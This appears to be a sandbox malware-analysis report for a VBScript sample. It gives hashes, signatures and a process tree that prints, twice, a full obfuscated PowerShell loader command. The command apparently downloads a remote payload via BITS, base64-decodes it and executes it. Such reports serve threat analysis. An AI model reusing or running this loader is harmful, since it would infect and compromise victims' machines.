Overview

overview

10

Static

static

3

Windows_Up...xe.vbs

windows7-x64

1

Windows_Up...xe.vbs

windows10-2004-x64

1

file.ps1

windows7-x64

1

file.ps1

windows10-2004-x64

1

fresh.exe

windows7-x64

10

fresh.exe

windows10-2004-x64

10

loader.ps1

windows7-x64

1

loader.ps1

windows10-2004-x64

10

payload.ps1

windows7-x64

1

payload.ps1

windows10-2004-x64

10

update.cmd

windows7-x64

1

update.cmd

windows10-2004-x64

10

update.vbs

windows7-x64

8

update.vbs

windows10-2004-x64

10

windows.cmd

windows7-x64

1

windows.cmd

windows10-2004-x64

10

windows.vbs

windows7-x64

3

windows.vbs

windows10-2004-x64

7

Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16-03-2024 03:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    windows.vbs

  • Size

    7KB

  • MD5

    69702b8327399b8d3760db7e510e622e

  • SHA1

    55c83e0de9bcd2ccc8b11385f16b6d24342a6089

  • SHA256

    4013aa47bf4a230774f2ee75c75820f36d0b5acc737458fe8574420a0828b10f

  • SHA512

    58825fe255aa671611967cb3af9f12e3eae2700307b8dc254510445e182b898bac2aa190b7146a3a44ad8b82ccd54b93e0ca2d79d0cc1079e3f1ab604eb81cb6

  • SSDEEP

    192:ODRgXEa7LYGh+9aQPaEXvJe6MSKKWiOWWfpWqm:gRgXEN5vyEXvJebJlm

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\windows.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Whiggism;++$Whiggism;$Whiggism=$Whiggism-1;Function Svrdliljerne ($Overmndene){$Ejendomsavancebeskatningsloven=5;$Ejendomsavancebeskatningsloven++;For($Udfoerbar=5; $Udfoerbar -lt $Overmndene.Length-1; $Udfoerbar+=$Ejendomsavancebeskatningsloven){$Refurnishes240 = 'substring';$Boletaceae=$Overmndene.$Refurnishes240.Invoke($Udfoerbar, 1);$Kundskabs=$Kundskabs+$Boletaceae}$Kundskabs;}$Mercy=Svrdliljerne ' Mic.h .orbt ubit ,okep lufis Nybe:Rufof/Konve/BonhoiSjlegrLizarsSpeedsHarri-UnpophRepoiaborsjsUnderhSk bieParacdCarni.PlectiMol,cqOvere/TankeK Abom/.hinoAOverseA,spnsHell.tStoliuSlicksHomer.BiblicRefleuUnscir News ';$Psychometric216=$Mercy.split([char]62);$Mercy=$Psychometric216[0];$Brahmanist98=Svrdliljerne 'Bo.zoiOverjeLiam,x Bib, ';$Headload = Svrdliljerne 'uundv\CosmusXeranyya,hts NymawSengeoni,kewOsobe6Re.et4 Type\Udde WStatiiflophn,rongd ArchofrakkwG.mmis,versPAptato Narrwbr,dyeBrolgrKortbSFo enh TosteMargilKompll Magi\ChancvBruge1P tal. orbi0Gener\Mi.bapProphoHarmow Af,reUncryrHypocsDyreph JerneSp rllReaddlJarhe. .okaeLumpyx s,dpe Wise ';&($Brahmanist98) (Svrdliljerne 'Igang$CarpeOSidesmSupploBrebriPru,pdgazebeSkumpuB,jobmDecaf= Indv$ VaskeNat.onCru,ovBlond:hyppew.ttrai FlsknTidssd,rojeienormr Bore ') ;&($Brahmanist98) (Svrdliljerne 'Isohy$ TendHStrafePar saSkinfdOverllBasero Amo.aLa.ped Op o=Ps,di$EstopORefigma,hlaoRuka iTran dFedmeeraciau Moskm Over+ sant$.tmaaHMisp.eOprenaHardwdRattelMechao TrefaReebod Angi ') ;&($Brahmanist98) (Svrdliljerne 'Opstn$NotatSAflytaT.pstnAmbulkUnsont Amirb ssiceAnisurTe,stn Brevh,lleraUnconrJoos,d RibbsSkrddhD llouCollonKrusndM.ntiemichl Unico=P,ocr Undec(Eng,n(,iltrgretinw FreemBejdsiEksem DiocwAbde.ibentynPerni3Knfal2Sq,ib_Clankp Pd.gr Nonso Redechjerte ,umas BilasT wka C,rri-,ummaFUndef SabriPPingvrR legoLnprocAf jeeGastrsFronts LaboI,ulefdSyner=Altru$Arane{SvovlPAksiaIb.oncD Try }Ge ne)Deko..DomstCStr,to UnsemKernem,otokaDif.rnSche,dOp,laLho.sei M.zdnNiveaePocos)uncil Nonti-ErnaesSt bip InddlRedisiSkri tUnder Pahmi[Nonunc So.ahLime a ondsrIndv ]Chord3 dbok4 Rove ');&($Brahmanist98) (Svrdliljerne 'streg$EpigetU,datipatholPer,us BirltLabberDissibAma reDekanl RanisMisideIglo,sAmbulvSv,mer,rmywdIn.eniPretag PliseLupinrMidd.eDivan Opusd=Stink Resso$S atiSJu,lta PolinProstk.rnestWardwbK,sseeGabonrprogrn mprohBil.eaVik,rr,mudsdzeugmsBelash PityuclemmnScrofd tri,eBarre[Skeln$ RusaS TokiaBam on OplskClothtAflusb Afs.eMilierDenatnSamlihNonunaDiaperMaterdAppelsKopieh ArtiuFyresnIngend SulfeHavne.PantocKompoo SvinuHel,anCadmitSal,a-Ve,ko2Modta],live ');&($Brahmanist98) (Svrdliljerne ' Omda$TekniC,ivisa,kkuptUnde.aCidarlG ntly Un,isPendie.onglrUnremsSpar =Seno ( Unr.TPinoceunransNoncatgatem-GenouPAlienaErhv t ViprhTjene Anti$FordlHAll,keSinewaBla,sdDispalAfsbnoPaaviaRepardSoci )Rowel pr vo-Bomb.AMal,onBrodedKamer Abonn(Nu,me[Unsa I UdlanSvagstS.melPK,hyttBreddrBesco]Udvik:Leve,:Ethn.smfindiGapanzCooeyeafkle socio-Potene S.rdqStif. ,eskr8 elfe)Stult ') ;if ($Catalysers) {.$Headload $tilstrbelsesvrdigere;} else {;$Swordsmith62=Svrdliljerne ',uragSEnkedtProb,aRy earRamestForju- BeplBExgo iRemaktDollss BiomTCallirFamilaSt ttn,rynssHersefin,efeF.jlnr.lino Kanoe- tougSO,ereo veruAbiderSterocSk,bieLrerf Calvi$ SpeaMhookeeAstrorLum ecComm,yCon.e Under- ltraDS udde Skals Grnjt YoutiCandinTorriaPersotVandbiSoyleoSciognAflur Super$OverlO.rincmStatsoCircuiRe,ondInd.keacknouFortymE.osi ';&($Brahmanist98) (Svrdliljerne 'Raahe$ Ov,rOAndrom.ngreoEksamiTypefd BrdleT.ilouFestlmMiles=Klien$k,ppke agknBiskovTobak:FlageaWithipTa.ompBuksedAutota Vr stLsesua.hapa ') ;&($Brahmanist98) (Svrdliljerne 'Let,aIJordbmUndisp.apiroItac,r AlfatInter-RegulM Sporo barbdK rsuuDr,ftlE igeeJ,nni DelegBinfo.i BifotSvenssTag eTTeno,rclanga DisrnBombls Ak,efi dtreA.ererMuseu ') ;$Omoideum=$Omoideum+'\Silken.Unl';while (-not $Unworked) {&($Brahmanist98) (Svrdliljerne 'Inter$IdeolUD,sstnInvalwSol,eoLogicrCrit,kKuns eThrend Agro=Regle(IndreTP.vekeRea,isArbejtS rin-Rufl.P fyldaGar itstopkh Ddse Diff$RelatOWeyermSk ivoProj,i Mid.d invieGorgou.ejlimArkti),mper ') ;&($Brahmanist98) $Swordsmith62;&($Brahmanist98) (Svrdliljerne 'ActioS HimmtUn roaInf.ar Arbet Best-HolidSTrappl TroneIngeneunchapArabe Foota5Valbo ');$Mercy=$Psychometric216[$Presagingly++%$Psychometric216.count];}&($Brahmanist98) (Svrdliljerne 'Dekan$r ghtA PipepKokosptiosue KonoaTubi,lGrievaS hisbEkvillKognieInkon Pel,=Ipeca IllusGArcheespindtSeedn- FiliCC.baloUdkranHexert HampeCh.frnCryottP,dgi Malpl$polluOhackbmprogroSkibsiufejldOligoeOverfuNedprmDereg ');&($Brahmanist98) (Svrdliljerne 'Perle$FunkiCUdpano,edevvRetsmeAfgrnr,esercFor,th Wam.i Eu,oeBlgerfFirel3 Emba5Cocci Avish=Rustn No ob[Kaem.S DejlyF,lkesR.nvatPersoeInvenm oden.paragCPhotooOoglenL,vedvComnaeSttterSamfut abu] I.ko:Under: TranF ugosrStru.oResknm L gtBAfbeta BladsBombeeMul.e6Tekno4C,linSAntict In.irTermiiA,ricnMannegCheli(under$xeroxAHoo apLindepi enneM rriaNeengl,ncelaReinfb.egetlGr sse Heng)Akkol ');&($Brahmanist98) (Svrdliljerne ' Guel$DialoFRdsomi Br glNotataE cennNontegFremei PinavD.gmae elanl lrehsA veoeSkruprCros,nSauche Gard Macro=under Odon[NonreS BlivyCellas,erbitTunnaeExpirm Rot,.MudhoTNoneqePneo.xTrihytAdmin. FaneEN.emonForsmcRygnio MadwdgorgoiLangfn nnegOpskr] ndgi:Ci cu:DriftA IndpSEmblaC HjemIUratoIree.r. MisnGelorgeNotogtP.imaSPaya,tElimirFa,taiT.aefnCommugP,ica( supe$ToparCAgrotoPsy hv JugleMicror LrescSprreh Ndh,iunob.e dsorfJourn3Elegi5Bortk).uzef ');&($Brahmanist98) (Svrdliljerne ' Pert$ForsuP F,uciEsdran .enefBnksliPan isBittehFidei=Dyr n$ Uf,rFGodteiF rnglpacesaMallenAntirgPresti TawnvKorrieUmbellSolhvsBlankeFernsrZoochn quafe Ethe.NonlesRaisiu,ddenbSlaugsSparttStankr umuidepr.nMariegNapol(Pr ie3Reerr4 nony2Water6Ta ne7Sphae3Endop,Smaas2 Roal5Stive9Od,cs4 Gove5Bipar)Drybr ');&($Brahmanist98) $Pinfish;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Whiggism;++$Whiggism;$Whiggism=$Whiggism-1;Function Svrdliljerne ($Overmndene){$Ejendomsavancebeskatningsloven=5;$Ejendomsavancebeskatningsloven++;For($Udfoerbar=5; $Udfoerbar -lt $Overmndene.Length-1; $Udfoerbar+=$Ejendomsavancebeskatningsloven){$Refurnishes240 = 'substring';$Boletaceae=$Overmndene.$Refurnishes240.Invoke($Udfoerbar, 1);$Kundskabs=$Kundskabs+$Boletaceae}$Kundskabs;}$Mercy=Svrdliljerne ' Mic.h .orbt ubit ,okep lufis Nybe:Rufof/Konve/BonhoiSjlegrLizarsSpeedsHarri-UnpophRepoiaborsjsUnderhSk bieParacdCarni.PlectiMol,cqOvere/TankeK Abom/.hinoAOverseA,spnsHell.tStoliuSlicksHomer.BiblicRefleuUnscir News ';$Psychometric216=$Mercy.split([char]62);$Mercy=$Psychometric216[0];$Brahmanist98=Svrdliljerne 'Bo.zoiOverjeLiam,x Bib, ';$Headload = Svrdliljerne 'uundv\CosmusXeranyya,hts NymawSengeoni,kewOsobe6Re.et4 Type\Udde WStatiiflophn,rongd ArchofrakkwG.mmis,versPAptato Narrwbr,dyeBrolgrKortbSFo enh TosteMargilKompll Magi\ChancvBruge1P tal. orbi0Gener\Mi.bapProphoHarmow Af,reUncryrHypocsDyreph JerneSp rllReaddlJarhe. .okaeLumpyx s,dpe Wise ';&($Brahmanist98) (Svrdliljerne 'Igang$CarpeOSidesmSupploBrebriPru,pdgazebeSkumpuB,jobmDecaf= Indv$ VaskeNat.onCru,ovBlond:hyppew.ttrai FlsknTidssd,rojeienormr Bore ') ;&($Brahmanist98) (Svrdliljerne 'Isohy$ TendHStrafePar saSkinfdOverllBasero Amo.aLa.ped Op o=Ps,di$EstopORefigma,hlaoRuka iTran dFedmeeraciau Moskm Over+ sant$.tmaaHMisp.eOprenaHardwdRattelMechao TrefaReebod Angi ') ;&($Brahmanist98) (Svrdliljerne 'Opstn$NotatSAflytaT.pstnAmbulkUnsont Amirb ssiceAnisurTe,stn Brevh,lleraUnconrJoos,d RibbsSkrddhD llouCollonKrusndM.ntiemichl Unico=P,ocr Undec(Eng,n(,iltrgretinw FreemBejdsiEksem DiocwAbde.ibentynPerni3Knfal2Sq,ib_Clankp Pd.gr Nonso Redechjerte ,umas BilasT wka C,rri-,ummaFUndef SabriPPingvrR legoLnprocAf jeeGastrsFronts LaboI,ulefdSyner=Altru$Arane{SvovlPAksiaIb.oncD Try }Ge ne)Deko..DomstCStr,to UnsemKernem,otokaDif.rnSche,dOp,laLho.sei M.zdnNiveaePocos)uncil Nonti-ErnaesSt bip InddlRedisiSkri tUnder Pahmi[Nonunc So.ahLime a ondsrIndv ]Chord3 dbok4 Rove ');&($Brahmanist98) (Svrdliljerne 'streg$EpigetU,datipatholPer,us BirltLabberDissibAma reDekanl RanisMisideIglo,sAmbulvSv,mer,rmywdIn.eniPretag PliseLupinrMidd.eDivan Opusd=Stink Resso$S atiSJu,lta PolinProstk.rnestWardwbK,sseeGabonrprogrn mprohBil.eaVik,rr,mudsdzeugmsBelash PityuclemmnScrofd tri,eBarre[Skeln$ RusaS TokiaBam on OplskClothtAflusb Afs.eMilierDenatnSamlihNonunaDiaperMaterdAppelsKopieh ArtiuFyresnIngend SulfeHavne.PantocKompoo SvinuHel,anCadmitSal,a-Ve,ko2Modta],live ');&($Brahmanist98) (Svrdliljerne ' Omda$TekniC,ivisa,kkuptUnde.aCidarlG ntly Un,isPendie.onglrUnremsSpar =Seno ( Unr.TPinoceunransNoncatgatem-GenouPAlienaErhv t ViprhTjene Anti$FordlHAll,keSinewaBla,sdDispalAfsbnoPaaviaRepardSoci )Rowel pr vo-Bomb.AMal,onBrodedKamer Abonn(Nu,me[Unsa I UdlanSvagstS.melPK,hyttBreddrBesco]Udvik:Leve,:Ethn.smfindiGapanzCooeyeafkle socio-Potene S.rdqStif. ,eskr8 elfe)Stult ') ;if ($Catalysers) {.$Headload $tilstrbelsesvrdigere;} else {;$Swordsmith62=Svrdliljerne ',uragSEnkedtProb,aRy earRamestForju- BeplBExgo iRemaktDollss BiomTCallirFamilaSt ttn,rynssHersefin,efeF.jlnr.lino Kanoe- tougSO,ereo veruAbiderSterocSk,bieLrerf Calvi$ SpeaMhookeeAstrorLum ecComm,yCon.e Under- ltraDS udde Skals Grnjt YoutiCandinTorriaPersotVandbiSoyleoSciognAflur Super$OverlO.rincmStatsoCircuiRe,ondInd.keacknouFortymE.osi ';&($Brahmanist98) (Svrdliljerne 'Raahe$ Ov,rOAndrom.ngreoEksamiTypefd BrdleT.ilouFestlmMiles=Klien$k,ppke agknBiskovTobak:FlageaWithipTa.ompBuksedAutota Vr stLsesua.hapa ') ;&($Brahmanist98) (Svrdliljerne 'Let,aIJordbmUndisp.apiroItac,r AlfatInter-RegulM Sporo barbdK rsuuDr,ftlE igeeJ,nni DelegBinfo.i BifotSvenssTag eTTeno,rclanga DisrnBombls Ak,efi dtreA.ererMuseu ') ;$Omoideum=$Omoideum+'\Silken.Unl';while (-not $Unworked) {&($Brahmanist98) (Svrdliljerne 'Inter$IdeolUD,sstnInvalwSol,eoLogicrCrit,kKuns eThrend Agro=Regle(IndreTP.vekeRea,isArbejtS rin-Rufl.P fyldaGar itstopkh Ddse Diff$RelatOWeyermSk ivoProj,i Mid.d invieGorgou.ejlimArkti),mper ') ;&($Brahmanist98) $Swordsmith62;&($Brahmanist98) (Svrdliljerne 'ActioS HimmtUn roaInf.ar Arbet Best-HolidSTrappl TroneIngeneunchapArabe Foota5Valbo ');$Mercy=$Psychometric216[$Presagingly++%$Psychometric216.count];}&($Brahmanist98) (Svrdliljerne 'Dekan$r ghtA PipepKokosptiosue KonoaTubi,lGrievaS hisbEkvillKognieInkon Pel,=Ipeca IllusGArcheespindtSeedn- FiliCC.baloUdkranHexert HampeCh.frnCryottP,dgi Malpl$polluOhackbmprogroSkibsiufejldOligoeOverfuNedprmDereg ');&($Brahmanist98) (Svrdliljerne 'Perle$FunkiCUdpano,edevvRetsmeAfgrnr,esercFor,th Wam.i Eu,oeBlgerfFirel3 Emba5Cocci Avish=Rustn No ob[Kaem.S DejlyF,lkesR.nvatPersoeInvenm oden.paragCPhotooOoglenL,vedvComnaeSttterSamfut abu] I.ko:Under: TranF ugosrStru.oResknm L gtBAfbeta BladsBombeeMul.e6Tekno4C,linSAntict In.irTermiiA,ricnMannegCheli(under$xeroxAHoo apLindepi enneM rriaNeengl,ncelaReinfb.egetlGr sse Heng)Akkol ');&($Brahmanist98) (Svrdliljerne ' Guel$DialoFRdsomi Br glNotataE cennNontegFremei PinavD.gmae elanl lrehsA veoeSkruprCros,nSauche Gard Macro=under Odon[NonreS BlivyCellas,erbitTunnaeExpirm Rot,.MudhoTNoneqePneo.xTrihytAdmin. FaneEN.emonForsmcRygnio MadwdgorgoiLangfn nnegOpskr] ndgi:Ci cu:DriftA IndpSEmblaC HjemIUratoIree.r. MisnGelorgeNotogtP.imaSPaya,tElimirFa,taiT.aefnCommugP,ica( supe$ToparCAgrotoPsy hv JugleMicror LrescSprreh Ndh,iunob.e dsorfJourn3Elegi5Bortk).uzef ');&($Brahmanist98) (Svrdliljerne ' Pert$ForsuP F,uciEsdran .enefBnksliPan isBittehFidei=Dyr n$ Uf,rFGodteiF rnglpacesaMallenAntirgPresti TawnvKorrieUmbellSolhvsBlankeFernsrZoochn quafe Ethe.NonlesRaisiu,ddenbSlaugsSparttStankr umuidepr.nMariegNapol(Pr ie3Reerr4 nony2Water6Ta ne7Sphae3Endop,Smaas2 Roal5Stive9Od,cs4 Gove5Bipar)Drybr ');&($Brahmanist98) $Pinfish;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2712

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EA7OHL1AAN3RIW5AHXTH.temp
    Filesize

    7KB

    MD5

    cc18b108bde0d8328bf4067cd47a2fa0

    SHA1

    c58639d0ede7668603c3e3689e7c699e27772ebd

    SHA256

    22d1d5011b16acc8ca3515e505ab78c0159ec0bab15e0792b72d82305c9d459b

    SHA512

    3fccb75b9f219d4186fd22677116758a0e06331499353e2a671c2010b87b58d250a85456b677dead8d6d696d3e233fee9fc6d535abe19e089cf5b4fa5dae466f

    Download Submit
  • memory/2504-26-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2504-4-0x000000001B300000-0x000000001B5E2000-memory.dmp
    Filesize

    2.9MB

    Download
  • memory/2504-7-0x00000000029C0000-0x0000000002A40000-memory.dmp
    Filesize

    512KB

    Download
  • memory/2504-8-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2504-9-0x00000000029C0000-0x0000000002A40000-memory.dmp
    Filesize

    512KB

    Download
  • memory/2504-5-0x0000000002290000-0x0000000002298000-memory.dmp
    Filesize

    32KB

    Download
  • memory/2504-6-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp
    Filesize

    9.6MB

    Download
  • memory/2504-27-0x00000000029C0000-0x0000000002A40000-memory.dmp
    Filesize

    512KB

    Download
  • memory/2712-15-0x0000000002790000-0x00000000027D0000-memory.dmp
    Filesize

    256KB

    Download
  • memory/2712-14-0x0000000002790000-0x00000000027D0000-memory.dmp
    Filesize

    256KB

    Download
  • memory/2712-16-0x0000000002790000-0x00000000027D0000-memory.dmp
    Filesize

    256KB

    Download
  • memory/2712-12-0x0000000072D00000-0x00000000732AB000-memory.dmp
    Filesize

    5.7MB

    Download
  • memory/2712-13-0x0000000072D00000-0x00000000732AB000-memory.dmp
    Filesize

    5.7MB

    Download
  • memory/2712-28-0x0000000072D00000-0x00000000732AB000-memory.dmp
    Filesize

    5.7MB

    Download
  • memory/2712-29-0x0000000002790000-0x00000000027D0000-memory.dmp
    Filesize

    256KB

    Download